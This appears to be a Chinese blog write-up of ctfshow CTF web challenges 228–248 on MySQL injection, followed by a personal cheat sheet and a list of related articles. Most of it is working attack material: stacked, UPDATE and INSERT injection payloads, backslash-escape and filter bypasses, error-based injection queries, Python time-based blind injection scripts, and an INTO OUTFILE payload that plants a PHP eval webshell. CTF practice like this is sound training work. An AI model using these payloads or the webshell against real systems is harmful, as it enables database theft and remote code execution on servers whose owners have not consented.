username=1';prepare yu from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute yu;#

web 228-230

额,代码给得比较玄乎,换句话说就是,把过滤了的关键字函数放到了数据库里面。没有给到页面上。

16进制yyds

?username=';prepare yu from 0x73656c656374202a2066726f6d2063746673685f6f775f666c616761736161;execute yu;#

web 231——update

真的有点恼火,就是有点找不到他这个提交参数的位置在什么地方,和提交什么参数

整了很久终于整出来了

先来一手

能够修改成功,于是就可以通过username来修改值了

查询表名
password=456',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=4
查询列名
password=456',username=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flaga')#&username=4
查询数据
password=456',username=(select group_concat(flagas) from flaga)#&username=4

web 232

与231相同

查数据
password=456'),username=(select group_concat(flagass) from flagaa)#&username=4

web 233——update盲注

唔,,,为啥又不行了呢?看了Y4大佬博客,说的是要盲注,并且看了代码,唔,太顶了,万物杰克盲注

import requests
import time url='http://f7408426-79c8-48e4-96b5-b07e3e905684.challenge.ctf.show:8080/api/' re=""
# 查数据
# payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
# 查列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag233333'"
payload = "select flagass233 from flag233333" while True:
for i in range(3,50):
head=32
tail=127 while head<tail:
# time.sleep(1)
mid=(head+tail)>>1
data={
'password':'1',
'username': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.05),0)#"
# 'username': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.05),1)#"
# 'username': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.05),1)#",
}
try:
r=requests.post(url=url,data=data,timeout=0.9)
tail=mid
print("[-]:",data['username'])
except Exception as e:
head=mid+1
print("[+]:",data['username']) if head!=32:
re+=chr(head)
print(re)
print("[*]:",data['username'])

web 234——update,过滤quote——\逃逸

额,说的是没过滤,看了Y4大佬wp,原来题目将单引号给过滤了,妙啊妙啊

这题可以用\将查询语句中的单引号过滤掉。原来的语句

$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

但是传入单引号后

$sql = "update ctfshow_user set pass = '\' where username = 'username';";

这样pass里面的内容就是' where username =,接下来username里面的参数就是可以控制的了

看一眼payload就知道了

查表名
username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&password=qwer123456\
查列名(双引号代替单引号)
username=,username=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="flag23a")#&password=qwer123456\
查列名(16进制编码)
username=,username=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c6167323361)#&password=qwer123456\
查数据
username=,username=(select group_concat(flagass23s3) from flag23a)#&password=qwer123456\

web 235——过滤information_schema

[mysql统计信息,表的信息,类似information_schema](概述MySQL统计信息_Mysql_脚本之家 (jb51.net))

CTF|mysql之无列名注入 - 知乎 (zhihu.com)

查表名
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
查数据——组合
password=\&username=,username=(select concat(`1`,0x2d,`2`,`3`) from (select 1,2,3 union select * from flag23a1 limit 1,1)a);#
查数据——重命名,当`被过滤的时候
password=\
&username=,username=(select `b` from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a);#

web 236——update,过滤flag—to_base64

查表名
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
查数据——组合
password=\&username=,username=(select concat(`1`,0x2d,`2`,0x2d,`3`) from (select 1,2,3 union select * from flaga limit 1,1)a);#

???不是说的过滤了flag吗?有点没懂过滤时在什么地方

看了Y4大佬的博客,看到将查询值to_base64了

"""
Author:Y4tacker
"""
# username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())-- - &password=\
# username=,username=(select to_base64(b) from (select 1,2 as b,3 union select * from flaga limit 1,1)a)-- - &password=\

那么盲猜是对查询的结果进行了过滤,感觉以前的题目flag是flag{xxxx}的形式,现在是ctfshow{}。所以就直接绕过了

web 237——insert

额,这里就是直接点的添加,在弹出来的窗口中查询的

在添加数据的时候进行注入

查表名
username=wsnd',(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()));#
password=1
查数据——无列名查询
wsnd',(select b from (select 1,2 as b,3 union select * from flag limit 1,1)a));#

web 238——insert过滤空格

可以用括号包围;先贴一个查询语句,免得下次看的时候以为多加了一个)

查表名
username=wsnd',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())));#
password=1

妙啊,过滤*,所以只能用常规方式了,其实于是不能用无列名查询,只是太麻烦了

查列名
username=wsnd',(select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name='flagb')));#
password=1
查数据
username=wsnd',(select(group_concat(flag))from(flagb)));#
password=1

web 239——insert

过滤了空格和or

用上题目试试,插入失败,盲猜过滤了单引号

果然是过滤了,唔,

还是不行,?难倒不止过滤了单引号?或者是过滤了其它的

唔,原来是过滤了information_schema,用mysql.innodb_table_stats代替

查表名
username=wsnd',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))#
&password=2
查数据——别问,问就是猜(爆破)出来的(看下面)
wsnd',(select(flag)from(flagbb)));#

看见群里有师傅在问列名是怎么出来的。然后看到一个感觉可以用二分法猜,当时没有电脑,而且外卖刚刚到,就没验证。

验证之后发现:

二分法不行,只能够直接爆破(本质还是才出来的),好在数据库表名都只能小写(其实还是很多情况),这里就只演示一下用burp爆破出来的吧(我的代码能力太弱了,一直找不到时间练习)

爆(猜)表名

已知了列名,并且知道注入姿势

接下来:

burp抓包:

设置payload:

开始爆破,同时不断刷新页面,因为返回值解码后都是插入成功,所以没有办法通过length判断flag是否出来

注意:只有正确(数据库中存在)的列名查询出结果后才会添加到列表中,数据没有的列名查不出数据,其结果为空,不会添加到列表中

当跑到这里2000左右的时候出来了flag

brup大概就这么做的;

如果是写代码的话,大概要写两个进程,一个进程用来一直爆破列名,一个进程隔几秒检测一下页面是否有flag。感觉起码得有个什么半个多小时吧。主要俺不会写代码,俺也不知道具体多久。大概要跑1679616条数据。

web 240

唔,额,看了下题和提示,直接放弃,

不用想都知道没法查表名了,而且也不知道列名,,,,

看了看Y4大佬博客,大佬的意思是,列名就是flag,爆破表名就行,

唔,于是大佬写了一个pyhton脚本,额,我这里就用bp了,我比较喜欢用bp,代码写得太烂了

回来刷新一下

贴一下Y4大佬的代码

"""
Author:Y4tacker
"""
import random
import requests url = "http://35963b4d-3501-4bf2-b888-668ad24e1bc5.chall.ctf.show"
url_insert = url + "/api/insert.php"
url_flag = url + "/api/?page=1&limit=1000" # 看命函数
def generate_random_str():
sttr = 'ab'
str_list = [random.choice(sttr) for i in range(5)]
random_str = ''.join(str_list)
return random_str while 1:
data = {
'username': f"1',(select(flag)from(flag{generate_random_str()})))#",
'password': ""
}
r = requests.post(url_insert, data=data)
r2 = requests.get(url_flag)
if "flag" in r2.text:
for i in r2.json()['data']:
if "flag" in i['pass']:
print(i['pass'])
break
break

web 241

我用的盲注的方法,只会盲注,顺带提一下,时间盲注,yyds,

时间盲注的sleep是sleep数据库

import requests
import time url="http://b28fa04e-5c97-4b65-80f6-ba4a535707a6.challenge.ctf.show:8080/api/delete.php" re="" payload="select database()"
payload="select group_concat(table_name) from information_schema.tables where table_schema=database()"
# payload="select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=''"
# payload="select group_concat() from " while True:
for i in range(1,60):
head=32
tail=127
while head<tail:
# time.sleep(1)
# 这个可以稍微设低一点,我主要是想跑一次对一次,不想跑第二次(当然事与愿违了)
mid=(head+tail)>>1
data={
'id':f"if((ascii(substr(({payload}),{i},1)))>{mid},3,sleep(0.05))"
}
try:
r=requests.post(url=url,data=data,timeout=0.9)
head=mid+1
print('[+]'+data['id'])
except Exception as e:
tail=mid
print('[-]'+data['id']) if head!=32:
re+=chr(head)
print(re)
print('[*]'+data['id'])

哇塞,真的想请教一下师傅们,这个超时时间哪么算,呜呜呜

有点出乎意料的是:一个id可以重复提交

web 242——给导入的文件加上内容

SELECT ... INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
[export_options] export_options:
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']//分隔符
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
] “OPTION”参数为可选参数选项,其可能的取值有: `FIELDS TERMINATED BY '字符串'`:设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。 `FIELDS ENCLOSED BY '字符'`:设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。 `FIELDS OPTIONALLY ENCLOSED BY '字符'`:设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。 `FIELDS ESCAPED BY '字符'`:设置转义字符,只能为单个字符。默认值为“\”。 `LINES STARTING BY '字符串'`:设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。 `LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。
payload

filename=yu.php'LINES STARTING BY "<?php eval($_POST[yu]);?>";#

web 243

过滤了php,可以利用文件包含的方式做题

由于是nginx的,所以先整一个auto_prepend_file=1.txt

接着1.txt中写入一句话木马

最后访问就行,但是,我做不出来,一直404,403,405。。。先去做一下244压压惊。

web 244

报错注入

测试
1' or extractvalue(rand(),concat(0x2c,(select database())));--+
查表名
1' or extractvalue(rand(),concat(0x2c,(select group_concat(table_name)from information_schema.tables where table_schema=database())));--+
查列名
1' or extractvalue(rand(),concat(0x2c,(select group_concat(column_name)from information_schema.columns where table_schema=database()and table_name='ctfshow_flag')));--+
查数据--1
1' or extractvalue(rand(),concat(0x2c,(select group_concat(flag)from ctfshow_flag)));--+
查数据--2
1' or extractvalue(rand(),concat(0x2c,substr((select group_concat(flag)from ctfshow_flag),20,42)));--+ 得到两个,凭借下 ctfshow{810c66fb-5e90-4066-b04f
90-4066-b04f-192b27564336}

从bit那里看到了点好东西,太顶了

1. floor + rand + group by
select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from user where id=1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); 2. ExtractValue
select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 3. UpdateXml
select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1)); 4. Name_Const(>5.0.12)
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x; 5. Join
select * from(select * from mysql.user a join mysql.user b)c;
select * from(select * from mysql.user a join mysql.user b using(Host))c;
select * from(select * from mysql.user a join mysql.user b using(Host,User))c; 6. exp()//mysql5.7貌似不能用
select * from user where id=1 and Exp(~(select * from (select version())a)); 7. geometrycollection()//mysql5.7貌似不能用
select * from user where id=1 and geometrycollection((select * from(select * from(select user())a)b)); 8. multipoint()//mysql5.7貌似不能用
select * from user where id=1 and multipoint((select * from(select * from(select user())a)b)); 9. polygon()//mysql5.7貌似不能用
select * from user where id=1 and polygon((select * from(select * from(select user())a)b)); 10. multipolygon()//mysql5.7貌似不能用
select * from user where id=1 and multipolygon((select * from(select * from(select user())a)b)); 11. linestring()//mysql5.7貌似不能用
select * from user where id=1 and linestring((select * from(select * from(select user())a)b)); 12. multilinestring()//mysql5.7貌似不能用
select * from user where id=1 and multilinestring((select * from(select * from(select user())a)b));

web 245

唔,老老实实用extractvlue吧。。。

查表名
1' or extractvalue(rand(),concat(0x2c,(select group_concat(table_name)from information_schema.tables where table_schema=database())));--+
查列名
1' or extractvalue(rand(),concat(0x2c,(select group_concat(column_name)from information_schema.columns where table_schema=database()and table_name='ctfshow_flagsa')));--+
查数据--1
1' or extractvalue(rand(),concat(0x2c,(select group_concat(flag1)from ctfshow_flagsa)));--+
查数据--2
1' or extractvalue(rand(),concat(0x2c,substr((select group_concat(flag1)from ctfshow_flagsa),20,42)));--+
flag 拼接
ctfshow{8fd8dcb4-e4fd-4ee9-99e9-06844817ecf3}
fd-4ee9-99e9-06844817ecf3}

web 246

从bit爷那里抄来的第一个报错方式可以用

查表名
1' and (select 1 from (select count(*),concat((select (table_name) from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a);--+
查列名
1' and (select 1 from (select count(*),concat((select (column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flags" limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a);--+
查数据
1' and (select 1 from (select count(*),concat((select flag2 from ctfshow_flags),floor(rand(0)*2))x from information_schema.tables group by x)a);--+

web 247

用floor代替ceil,马上两点了,有点昏了,是用ceil代替floor,bit爷太顶了

查表名
1' and (select 1 from (select count(*),concat((select (table_name) from information_schema.tables where table_schema=database() limit 1,1),ceil(rand(0)*2))x from information_schema.tables group by x)a);--+
查列名
1' and (select 1 from (select count(*),concat((select (column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flagsa" limit 1,1),ceil(rand(0)*2))x from information_schema.tables group by x)a);--+
查数据
1' and (select 1 from (select count(*),concat((select `flag?` from ctfshow_flagsa),ceil(rand(0)*2))x from information_schema.tables group by x)a);--+

话说回来了,才注意到bit爷用的双注入,赶紧抄一波

' union select 1,count(*),concat((select `flag?` from ctfshow_flagsa limit 0,1),ceil(rand(0)*2))a from information_schema.columns group by a-- -

web 248

堆叠注入


额,查了一遍发现,flag?中是flag not here。

于是试了一手写入木马,结果不行;查询后发现,@@secure_file_priv: null就是不能写入文件

sql注入常见方法及udf提权_whojoe的博客-CSDN博客_udf注入

接着还是就不会了

CTFshow---WEB入门---(SQL注入)171-253 WP - Bit's Blog (xl-bit.cn)

过滤

1. 过滤关键字

  1. 大小写绕过 web 176

2.过滤空格

  1. 利用/**/绕过 web 177
  2. %09 %0a %0b %0c %0d绕过 web178
  3. 利用用括号包括表名,where语句等 web183 web 238

3.过滤where,ord,ascii等限定字符

  1. as +right join+substr(b.pass,1,1)regexp(char(46)) web 184
  2. web 192

4.过滤数字或者字符

情况1:查询结果对数字进行过滤:利用替代 web

情况2:payload对数字进行过滤:利用true相加构造数字 web185

5.md5加密

  1. [SQL绕过]md5($str,true)类型绕过----题目来源CTFSHOW---web9_Y4tacker的博客-CSDN博客](https://blog.csdn.net/solitudi/article/details/107813286?ops_request_misc={"request_id"%3A"160631731619195283021913"%2C"scm"%3A"20140713.130102334.pc_blog."}&request_id=160631731619195283021913&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2blogfirst_rank_v2~rank_blog_default-1-107813286.pc_v2_rank_blog_default&utm_term=md5 _POST password ,true&spm=1018.2118.3001.4450) web 187

后缀

'
')
''
'')
"
")
"")

编码:

to_base64hex()
replace(to_base64(password),1,'testa')

replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),2,'testb')
,3,'testc')
,4,'testd')
,5,'teste')
,6,'testf')
,7,'testg')
,8,'testh')
,9,'testi')
,0,'testj')
,1,'testa') Y3Rmc2hvd3syNmU1Zjk1My1lZDhiLTQ4NGEtYjE2Ny0wZjU3OTM1MmRkYmN9

新姿势:

  1. 利用正则表达式进行盲注
tableName=`ctfshow_user`where(`pass`regexp('a'))
web 183
  1. 利用正则实现where功能
tableName=ctfshow_user as a right join ctfshow_user as b on substr(b.pass,1,1)regexp(char(46))web 184
  1. 利用true相加得到指定数字
ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,true,true) regexp(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true)))
web 185
  1. 对于只能够输入数字的位置,可以采用盲注
导入存在flag的文件并且对齐盲注
"if(ascii(substr(load_file('/var/www/html/api/index.php'),{0},1))>{1},0,1)".format(str(i), str(mid)
web 189
  1. 盲注可以直接用regexp进行匹配,不需要进行截断
admin' and if((select group_concat(f1ag)from ctfshow_flxg)regexp('ctfshow{da6fy'),1,0)=1#
web 193 web 194
  1. \逃逸
`$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";`
但是传入单引号后
`$sql = "update ctfshow_user set pass = '\' where username = 'username';";`
这样pass里面的内容就是' where username =,接下来username里面的参数就是可以控制的了
  1. 无列名查询
查数据——组合password=\&username=,username=(select concat(`1`,0x2d,`2`,`3`) from (select 1,2,3 union select * from flag23a1 limit 1,1)a);
#查数据——重命名,当`被过滤的时候password=\&username=,username=(select `b` from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a);#
web 235

sql 无列名注入_xiaolong22333的博客-CSDN博客

sqlmap

做一个简单的记录

--data="id=1"	直接触发POST传参
--headers=""
--method=""
--cookie="" "PHPSESSID=a8d127e.."

bit爷的报错注入

1. floor + rand + group by
select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from user where id=1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); 2. ExtractValue
select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 3. UpdateXml
select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1)); 4. Name_Const(>5.0.12)
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x; 5. Join
select * from(select * from mysql.user a join mysql.user b)c;
select * from(select * from mysql.user a join mysql.user b using(Host))c;
select * from(select * from mysql.user a join mysql.user b using(Host,User))c; 6. exp()//mysql5.7貌似不能用
select * from user where id=1 and Exp(~(select * from (select version())a)); 7. geometrycollection()//mysql5.7貌似不能用
select * from user where id=1 and geometrycollection((select * from(select * from(select user())a)b)); 8. multipoint()//mysql5.7貌似不能用
select * from user where id=1 and multipoint((select * from(select * from(select user())a)b)); 9. polygon()//mysql5.7貌似不能用
select * from user where id=1 and polygon((select * from(select * from(select user())a)b)); 10. multipolygon()//mysql5.7貌似不能用
select * from user where id=1 and multipolygon((select * from(select * from(select user())a)b)); 11. linestring()//mysql5.7貌似不能用
select * from user where id=1 and linestring((select * from(select * from(select user())a)b)); 12. multilinestring()//mysql5.7貌似不能用
select * from user where id=1 and multilinestring((select * from(select * from(select user())a)b));

看过的博客

前女友发来加密的 “520快乐.pdf“,我用python破解开之后,却发现。。。_lexsaints-CSDN博客

前女友婚礼,python破解婚礼现场的WIFI,把名称改成了_lexsaints-CSDN博客

ctf php sql注入,CTFshow-WEB入门-SQL注入(下)(持续更新)_itwebber的博客-CSDN博客

CTFshow-WEB入门-SQL注入(中)_feng的博客-CSDN博客

MySQL——查看存储过程和函数_时光·漫步的博客-CSDN博客_mysql查看函数命令

概述MySQL统计信息_Mysql_脚本之家 (jb51.net)

CTF|mysql之无列名注入 - 知乎 (zhihu.com)

sql 无列名注入_xiaolong22333的博客-CSDN博客太顶了,又学习了

sql注入常见方法及udf提权_whojoe的博客-CSDN博客_udf注入师傅们顶呱呱

感受:

各种大佬们太顶了太顶了,师傅们顶瓜瓜。

猫猫真可爱,我是真的菜

ctfshow_web入门 sql注入(web171~248)的更多相关文章

  1. 初级安全入门——SQL注入的原理与利用

    工具简介 SQLMAP: 一个开放源码的渗透测试工具,它可以自动探测和利用SQL注入漏洞来接管数据库服务器.它配备了一个强大的探测引擎,为最终渗透测试人员提供很多强大的功能,可以拖库,可以访问底层的文 ...

  2. PHP代码审计入门(SQL注入漏洞挖掘基础)

    SQL注入漏洞 SQL注入经常出现在登陆页面.和获取HTTP头(user-agent/client-ip等).订单处理等地方,因为这几个地方是业务相对复杂的,登陆页面的注入现在来说大多数是发生在HTT ...

  3. SQL注入攻防入门详解

    =============安全性篇目录============== 本文转载 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机 ...

  4. SQL注入攻防入门详解(2)

    SQL注入攻防入门详解 =============安全性篇目录============== 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱 ...

  5. [转]SQL注入攻防入门详解

    原文地址:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html =============安全性篇目录============ ...

  6. SQL注入攻击三部曲之入门篇

    SQL注入攻击三部曲之入门篇 服务器安全管理员和攻击者的战争仿佛永远没有停止的时候,针对国内网站的ASP架构的SQL注入攻击又开始大行其道.本篇文章通过SQL注入攻击原理引出SQL注入攻击的实施方法, ...

  7. 【转载】SQL注入攻防入门详解

    滴答…滴答…的雨,欢迎大家光临我的博客. 学习是快乐的,教育是枯燥的. 博客园  首页  博问  闪存    联系  订阅 管理 随笔-58 评论-2028 文章-5  trackbacks-0 站长 ...

  8. sql 注入入门

    =============安全性篇目录============== 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关 ...

  9. sql注入(从入门到进阶)

    随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进 ...

  10. sql注入入门--基本命令

    本文转载自http://blog.csdn.net/zgyulongfei/article/details/41017493 本文仅献给想学习渗透测试的sqlmap小白,大牛请绕过. > > ...

随机推荐

  1. VsCode搭建一个React项目

    安装Node.js 使用 npm -v检查安装成功 目前的 node 中都会自带 npm 所以不需要重新下载 直接切换至淘宝镜像即可 1.临时使用 :npm --registry https://re ...

  2. 万字 HashMap 详解,基础(优雅)永不过时

    本文已收录到 AndroidFamily,技术和职场问题,请关注公众号 [彭旭锐] 提问. 前言 大家好,我是小彭. 在上一篇文章里,我们聊到了散列表的整体设计思想,在后续几篇文章里,我们将以 Jav ...

  3. 火山引擎 DataLeap 的 Data Catalog 系统公有云实践

      Data Catalog 通过汇总技术和业务元数据,解决大数据生产者组织梳理数据.数据消费者找数和理解数的业务场景.本篇内容源自于火山引擎大数据研发治理套件 DataLeap 中的 Data Ca ...

  4. 推荐一款采用 .NET 编写的 反编译到源码工具 Reko

    今天给大家介绍的是一款名叫Reko的开源反编译工具,该工具采用C#开发,广大研究人员可利用Reko来对机器码进行反编译处理.我们知道.NET 7 有了NativeAOT 的支持,采用NativeAOT ...

  5. 【Java EE】Day04 MySQL多表、事务、事务隔离级别、DCL

    一.多表查询 1.概述 笛卡尔积:两集合的所有组成情况 多表查询:消除笛卡尔积得到的无用数据 2.分类 内连接查询(满足指定条件无空值,只显示有关联的数据) 隐式内连接:使用where限制消除无用数据 ...

  6. ubuntu1804搭建FTP服务器的方法

    搭建FTP服务器 FTP的工作原理: FTP:File Transfer Protocol ,文件传输协议.属于NAS存储的一种协议,基于CS结构. ftp采用的是双端口模式,分为命令端口和数据端口, ...

  7. 关于JavaScript每句结尾是否需要添加分号问题

    最近在学习JS的时候遇到这么一个问题.由于我之前的学习中一直是写一句JS代码,加一个分号.但是最近我才发现原来JS代码是可以不添加分号的.如果可以不写分号的话会不会更省事呢?于是我在网上查了相关资料整 ...

  8. C++面向对象程序设计期末复习笔记[吉林大学](结合历年题速成85)

    1.头文件 头文件的作用就是被其他的.cpp包含进去的.它们本身并不参与编译,但实际上,它们的内容却在多个.cpp文件中得到了编译.根据"定义只能一次"原则我们知道,头文件中不能放 ...

  9. 4.1IDA基础设置--《恶意代码分析实战》

    1.加载一个可执行文件 ① 选项一:当加载一个文件(如PE文件),IDA像操作系统加载器一样将文件映射到内存中. ② 选项三:Binary File:将文件作为一个原始的二进制文件进行反汇编,例如文件 ...

  10. week_10

    Andrew Ng 机器学习笔记 ---By Orangestar Week_10 (大数据处理) 1. Learning With Large Datasets 机器学习很多时候都要处理非常多的数据 ...